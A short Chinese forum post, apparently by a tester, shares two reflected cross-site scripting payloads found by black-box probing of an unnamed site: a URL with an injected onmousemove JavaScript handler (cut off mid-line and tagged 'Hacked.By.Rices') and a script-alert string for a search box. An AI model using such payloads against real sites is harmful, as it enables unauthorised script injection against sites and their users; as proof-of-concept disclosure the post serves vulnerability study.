好吧   既然你们都爱发  那就发吧   这个黑盒出来的不解释
http://site/?/home/explore/category-40Hacked.By.Rices"%20onmousemove%20="javascript:var%20a=window.location.href,b=a.substr(47,15);alert(b);var%20ff=

还有一个更不解释了  搜索框直接<script>alert(1)</script> 然后鼠标移动下就xss了................